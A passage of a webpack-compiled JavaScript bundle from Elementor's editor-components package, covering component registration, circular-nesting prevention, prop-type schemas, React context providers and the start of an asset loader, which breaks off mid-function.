/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _elementor_editor_elements_panel__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @elementor/editor-elements-panel */ "@elementor/editor-elements-panel");
/* harmony import */ var _elementor_editor_elements_panel__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements_panel__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! @elementor/editor-embedded-documents-manager */ "@elementor/editor-embedded-documents-manager");
/* harmony import */ var _elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_5___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_5__);
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! @elementor/editor-v1-adapters */ "@elementor/editor-v1-adapters");
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_6___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_6__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_7___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_7__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_8___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_8__);
/* harmony import */ var _component_instance_transformer__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./component-instance-transformer */ "./packages/packages/core/editor-components/src/component-instance-transformer.ts");
/* harmony import */ var _component_overridable_transformer__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./component-overridable-transformer */ "./packages/packages/core/editor-components/src/component-overridable-transformer.ts");
/* harmony import */ var _component_override_transformer__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./component-override-transformer */ "./packages/packages/core/editor-components/src/component-override-transformer.ts");
/* harmony import */ var _components_components_tab_components__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./components/components-tab/components */ "./packages/packages/core/editor-components/src/components/components-tab/components.tsx");
/* harmony import */ var _components_detach_instance_confirmation_dialog__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! ./components/detach-instance-confirmation-dialog */ "./packages/packages/core/editor-components/src/components/detach-instance-confirmation-dialog.tsx");
/* harmony import */ var _components_in_edit_mode__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(/*! ./components/in-edit-mode */ "./packages/packages/core/editor-components/src/components/in-edit-mode.tsx");
/* harmony import */ var _components_instance_editing_panel_instance_editing_panel__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(/*! ./components/instance-editing-panel/instance-editing-panel */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-editing-panel.tsx");
/* harmony import */ var _components_load_template_components__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(/*! ./components/load-template-components */ "./packages/packages/core/editor-components/src/components/load-template-components.tsx");
/* harmony import */ var _create_component_type__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! ./create-component-type */ "./packages/packages/core/editor-components/src/create-component-type.ts");
/* harmony import */ var _populate_store__WEBPACK_IMPORTED_MODULE_18__ = __webpack_require__(/*! ./populate-store */ "./packages/packages/core/editor-components/src/populate-store.ts");
/* harmony import */ var _prevent_circular_nesting__WEBPACK_IMPORTED_MODULE_19__ = __webpack_require__(/*! ./prevent-circular-nesting */ "./packages/packages/core/editor-components/src/prevent-circular-nesting.ts");
/* harmony import */ var _store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! ./store/actions/load-components-assets */ "./packages/packages/core/editor-components/src/store/actions/load-components-assets.ts");
/* harmony import */ var _store_actions_remove_component_styles__WEBPACK_IMPORTED_MODULE_21__ = __webpack_require__(/*! ./store/actions/remove-component-styles */ "./packages/packages/core/editor-components/src/store/actions/remove-component-styles.ts");
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_22__ = __webpack_require__(/*! ./store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _sync_before_save__WEBPACK_IMPORTED_MODULE_23__ = __webpack_require__(/*! ./sync/before-save */ "./packages/packages/core/editor-components/src/sync/before-save.ts");
/* harmony import */ var _sync_load_component_data_after_instance_added__WEBPACK_IMPORTED_MODULE_24__ = __webpack_require__(/*! ./sync/load-component-data-after-instance-added */ "./packages/packages/core/editor-components/src/sync/load-component-data-after-instance-added.ts");

























function init() {
  (0,_elementor_store__WEBPACK_IMPORTED_MODULE_7__.__registerSlice)(_store_store__WEBPACK_IMPORTED_MODULE_22__.slice);
  (0,_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1__.registerElementType)(_create_component_type__WEBPACK_IMPORTED_MODULE_17__.COMPONENT_WIDGET_TYPE, options => (0,_create_component_type__WEBPACK_IMPORTED_MODULE_17__.createComponentType)({
    ...options,
    showLockedByModal: _components_in_edit_mode__WEBPACK_IMPORTED_MODULE_14__.openEditModeDialog,
    showDetachConfirmDialog: _components_detach_instance_confirmation_dialog__WEBPACK_IMPORTED_MODULE_13__.openDetachConfirmDialog
  }));
  window.elementorCommon.__beforeSave = _sync_before_save__WEBPACK_IMPORTED_MODULE_23__.beforeSave;
  (0,_elementor_editor_elements_panel__WEBPACK_IMPORTED_MODULE_4__.injectTab)({
    id: 'components',
    label: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_8__.__)('Components', 'elementor'),
    component: _components_components_tab_components__WEBPACK_IMPORTED_MODULE_12__.Components,
    position: 1
  });
  (0,_elementor_editor__WEBPACK_IMPORTED_MODULE_0__.injectIntoLogic)({
    id: 'components-populate-store',
    component: _populate_store__WEBPACK_IMPORTED_MODULE_18__.PopulateStore
  });
  (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_6__.registerDataHook)('after', 'editor/documents/attach-preview', () => {
    const {
      id,
      config
    } = (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_2__.getV1CurrentDocument)() ?? {};
    if (!id) {
      return;
    }
    (0,_store_actions_remove_component_styles__WEBPACK_IMPORTED_MODULE_21__.removeComponentStyles)(id);
    void (0,_store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_20__.loadComponentsAssets)(config?.elements ?? []);
  });
  _elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_5__.embeddedDocumentsManager.onDocumentLoad((_documentId, data) => {
    void (0,_store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_20__.loadComponentsAssets)(data.elements ?? []);
  });
  (0,_elementor_editor__WEBPACK_IMPORTED_MODULE_0__.injectIntoLogic)({
    id: 'templates',
    component: _components_load_template_components__WEBPACK_IMPORTED_MODULE_16__.LoadTemplateComponents
  });
  (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_3__.registerEditingPanelReplacement)({
    id: 'component-instance-edit-panel',
    condition: (_, elementType) => elementType.key === 'e-component',
    component: _components_instance_editing_panel_instance_editing_panel__WEBPACK_IMPORTED_MODULE_15__.InstanceEditingPanel
  });
  _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1__.settingsTransformersRegistry.register('component-instance', _component_instance_transformer__WEBPACK_IMPORTED_MODULE_9__.componentInstanceTransformer);
  _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1__.settingsTransformersRegistry.register('overridable', _component_overridable_transformer__WEBPACK_IMPORTED_MODULE_10__.componentOverridableTransformer);
  _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_1__.settingsTransformersRegistry.register('override', _component_override_transformer__WEBPACK_IMPORTED_MODULE_11__.componentOverrideTransformer);
  (0,_prevent_circular_nesting__WEBPACK_IMPORTED_MODULE_19__.initCircularNestingPrevention)();
  (0,_sync_load_component_data_after_instance_added__WEBPACK_IMPORTED_MODULE_24__.initLoadComponentDataAfterInstanceAdded)();
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/populate-store.ts":
/*!************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/populate-store.ts ***!
  \************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   PopulateStore: function() { return /* binding */ PopulateStore; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _store_thunks__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./store/thunks */ "./packages/packages/core/editor-components/src/store/thunks.ts");



function PopulateStore() {
  (0,react__WEBPACK_IMPORTED_MODULE_0__.useEffect)(() => {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_1__.__dispatch)((0,_store_thunks__WEBPACK_IMPORTED_MODULE_2__.loadComponents)());
  }, []);
  return null;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/prevent-circular-nesting.ts":
/*!**********************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/prevent-circular-nesting.ts ***!
  \**********************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   extractComponentIdsFromElements: function() { return /* binding */ extractComponentIdsFromElements; },
/* harmony export */   initCircularNestingPrevention: function() { return /* binding */ initCircularNestingPrevention; },
/* harmony export */   wouldCreateCircularNesting: function() { return /* binding */ wouldCreateCircularNesting; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-notifications */ "@elementor/editor-notifications");
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-v1-adapters */ "@elementor/editor-v1-adapters");
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./store/store */ "./packages/packages/core/editor-components/src/store/store.ts");






const COMPONENT_TYPE = 'e-component';
const COMPONENT_CIRCULAR_NESTING_ALERT = {
  type: 'default',
  message: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__.__)("Can't add this component - components that contain each other can't be nested.", 'elementor'),
  id: 'circular-component-nesting-blocked'
};
function initCircularNestingPrevention() {
  (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__.blockCommand)({
    command: 'document/elements/create',
    condition: blockCircularCreate
  });
  (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__.blockCommand)({
    command: 'document/elements/move',
    condition: blockCircularMove
  });
  (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__.blockCommand)({
    command: 'document/elements/paste',
    condition: blockCircularPaste
  });
}

// Note that this function only checks for direct circular nesting, not indirect nesting
function wouldCreateCircularNesting(componentIdToAdd) {
  if (componentIdToAdd === undefined) {
    return false;
  }
  const state = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_3__.__getState)();
  const currentComponentId = (0,_store_store__WEBPACK_IMPORTED_MODULE_5__.selectCurrentComponentId)(state);
  const path = (0,_store_store__WEBPACK_IMPORTED_MODULE_5__.selectPath)(state);
  if (currentComponentId === null) {
    return false;
  }
  if (componentIdToAdd === currentComponentId) {
    return true;
  }
  return path.some(item => item.componentId === componentIdToAdd);
}
function extractComponentIdFromModel(model) {
  if (!model) {
    return null;
  }
  const isComponent = model.widgetType === COMPONENT_TYPE;
  if (!isComponent) {
    return null;
  }
  return model.settings?.component_instance?.value?.component_id?.value ?? null;
}
function extractComponentIdFromElement(element) {
  if (element.widgetType !== COMPONENT_TYPE) {
    return null;
  }
  return element.settings?.component_instance?.value?.component_id?.value ?? null;
}
function extractComponentIdsFromElements(elements) {
  const ids = [];
  for (const element of elements) {
    const componentId = extractComponentIdFromElement(element);
    if (componentId !== null) {
      ids.push(componentId);
    }
    if (element.elements?.length) {
      ids.push(...extractComponentIdsFromElements(element.elements));
    }
  }
  return ids;
}
function extractComponentIdFromContainer(container) {
  const widgetType = container.model?.get?.('widgetType');
  if (widgetType !== COMPONENT_TYPE) {
    return null;
  }
  const settings = container.model?.get?.('settings');
  const componentInstance = settings?.get?.('component_instance');
  return componentInstance?.value?.component_id?.value ?? null;
}
function blockCircularCreate(args) {
  const componentId = extractComponentIdFromModel(args.model);
  if (componentId === null) {
    return false;
  }
  const isBlocked = wouldCreateCircularNesting(componentId);
  if (isBlocked) {
    (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__.notify)(COMPONENT_CIRCULAR_NESTING_ALERT);
  }
  return isBlocked;
}
function blockCircularMove(args) {
  const {
    containers = [args.container]
  } = args;
  const hasCircularComponent = containers.some(container => {
    if (!container) {
      return false;
    }
    const allElements = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.getAllDescendants)(container);
    return allElements.some(element => {
      const componentId = extractComponentIdFromContainer(element);
      if (componentId === null) {
        return false;
      }
      return wouldCreateCircularNesting(componentId);
    });
  });
  if (hasCircularComponent) {
    (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__.notify)(COMPONENT_CIRCULAR_NESTING_ALERT);
  }
  return hasCircularComponent;
}
function blockCircularPaste(args) {
  const {
    storageType
  } = args;
  if (storageType !== 'localstorage') {
    return false;
  }
  const data = window?.elementorCommon?.storage?.get();
  if (!data?.clipboard?.elements) {
    return false;
  }
  const allComponentIds = extractComponentIdsFromElements(data.clipboard.elements);
  const hasCircularComponent = allComponentIds.some(wouldCreateCircularNesting);
  if (hasCircularComponent) {
    (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__.notify)(COMPONENT_CIRCULAR_NESTING_ALERT);
  }
  return hasCircularComponent;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts":
/*!**********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts ***!
  \**********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentInstanceOverridePropTypeUtil: function() { return /* binding */ componentInstanceOverridePropTypeUtil; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-props */ "@elementor/editor-props");
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/schema */ "@elementor/schema");
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_schema__WEBPACK_IMPORTED_MODULE_1__);


const componentInstanceOverridePropTypeUtil = (0,_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__.createPropUtils)('override', _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.object({
  override_key: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.string(),
  override_value: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.unknown(),
  schema_source: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.object({
    type: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.literal('component'),
    id: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.number()
  })
}));

/***/ }),

/***/ "./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts":
/*!***********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts ***!
  \***********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentInstanceOverridesPropTypeUtil: function() { return /* binding */ componentInstanceOverridesPropTypeUtil; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-props */ "@elementor/editor-props");
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/schema */ "@elementor/schema");
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_schema__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");




const componentInstanceOverridesPropTypeUtil = (0,_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__.createPropUtils)('overrides', _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.array(_elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.union([_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentInstanceOverridePropTypeUtil.schema, _component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_3__.componentOverridablePropTypeUtil.schema])).optional().default([]));

/***/ }),

/***/ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts":
/*!*************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts ***!
  \*************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentInstancePropTypeUtil: function() { return /* binding */ componentInstancePropTypeUtil; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-props */ "@elementor/editor-props");
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/schema */ "@elementor/schema");
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_schema__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./component-instance-overrides-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts");



const componentInstancePropTypeUtil = (0,_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__.createPropUtils)('component-instance', _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.object({
  component_id: _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__.numberPropTypeUtil.schema,
  overrides: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.optional(_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentInstanceOverridesPropTypeUtil.schema)
}));

/***/ }),

/***/ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts":
/*!****************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts ***!
  \****************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentOverridablePropTypeUtil: function() { return /* binding */ componentOverridablePropTypeUtil; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-props */ "@elementor/editor-props");
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/schema */ "@elementor/schema");
/* harmony import */ var _elementor_schema__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_schema__WEBPACK_IMPORTED_MODULE_1__);


const componentOverridablePropTypeUtil = (0,_elementor_editor_props__WEBPACK_IMPORTED_MODULE_0__.createPropUtils)('overridable', _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.object({
  override_key: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.string(),
  origin_value: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.object({
    $$type: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.string(),
    value: _elementor_schema__WEBPACK_IMPORTED_MODULE_1__.z.unknown()
  }).nullable()
}));

/***/ }),

/***/ "./packages/packages/core/editor-components/src/provider/component-instance-context.tsx":
/*!**********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/provider/component-instance-context.tsx ***!
  \**********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   ComponentInstanceProvider: function() { return /* binding */ ComponentInstanceProvider; },
/* harmony export */   useComponentId: function() { return /* binding */ useComponentId; },
/* harmony export */   useComponentInstanceOverrides: function() { return /* binding */ useComponentInstanceOverrides; },
/* harmony export */   useComponentOverridableProps: function() { return /* binding */ useComponentOverridableProps; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);


const ComponentInstanceContext = /*#__PURE__*/(0,react__WEBPACK_IMPORTED_MODULE_0__.createContext)(null);
function ComponentInstanceProvider({
  children,
  ...props
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(ComponentInstanceContext.Provider, {
    value: props
  }, children);
}
function useComponentInstanceContext() {
  const context = (0,react__WEBPACK_IMPORTED_MODULE_0__.useContext)(ComponentInstanceContext);
  if (!context) {
    throw new Error('useComponentInstanceContext must be used within a ComponentInstanceProvider');
  }
  return context;
}
const useComponentId = () => useComponentInstanceContext().componentId;
const useComponentInstanceOverrides = () => useComponentInstanceContext().overrides;
const useComponentOverridableProps = () => useComponentInstanceContext().overridableProps;

/***/ }),

/***/ "./packages/packages/core/editor-components/src/provider/overridable-prop-context.tsx":
/*!********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/provider/overridable-prop-context.tsx ***!
  \********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   OverridablePropProvider: function() { return /* binding */ OverridablePropProvider; },
/* harmony export */   useComponentInstanceElement: function() { return /* binding */ useComponentInstanceElement; },
/* harmony export */   useOverridablePropValue: function() { return /* binding */ useOverridablePropValue; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);


const OverridablePropContext = /*#__PURE__*/(0,react__WEBPACK_IMPORTED_MODULE_0__.createContext)(null);
function OverridablePropProvider({
  children,
  ...props
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(OverridablePropContext.Provider, {
    value: props
  }, children);
}
const useOverridablePropValue = () => (0,react__WEBPACK_IMPORTED_MODULE_0__.useContext)(OverridablePropContext)?.value;
const useComponentInstanceElement = () => (0,react__WEBPACK_IMPORTED_MODULE_0__.useContext)(OverridablePropContext)?.componentInstanceElement;

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/actions/load-components-assets.ts":
/*!**********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/actions/load-components-assets.ts ***!
  \**********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   loadComponentsAssets: function() { return /* binding */ loadComponentsAssets; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-documents */ "@elementor/editor-documents");
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-embedded-documents-manager */ "@elementor/editor-embedded-documents-manager");
/* harmony import */ var _elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _utils_get_component_documents__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../utils/get-component-documents */ "./packages/packages/core/editor-components/src/utils/get-component-documents.ts");
/* harmony import */ var _load_components_overridable_props__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./load-components-overridable-props */ "./packages/packages/core/editor-components/src/store/actions/load-components-overridable-props.ts");




async function loadComponentsAssets(elements) {
  if (!elements.length) {
    return;
  }
  const documents = await (0,_utils_get_component_documents__WEBPACK_IMPORTED_MODULE_2__.getComponentDocuments)({
    elements,
    isRecursive: false
  });
  updateDocumentState(documents);
  documents.forEach((document, id) => {
    _elementor_editor_embedded_documents_manager__WEBPACK_IMPORTED_MODULE_1__.embeddedDocumentsManager.setDocument(id, document);
  });
  await (0,_load_components_overridable_props__WEBPACK_IMPORTED_MODULE_3__.loadComponentsOverridableProps)([...documents.keys()]);
}
function updateDocumentState(documents) {
  const isDrafted = [...documents.values()].some(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.isDocumentDirty);
  if (isDrafted) {
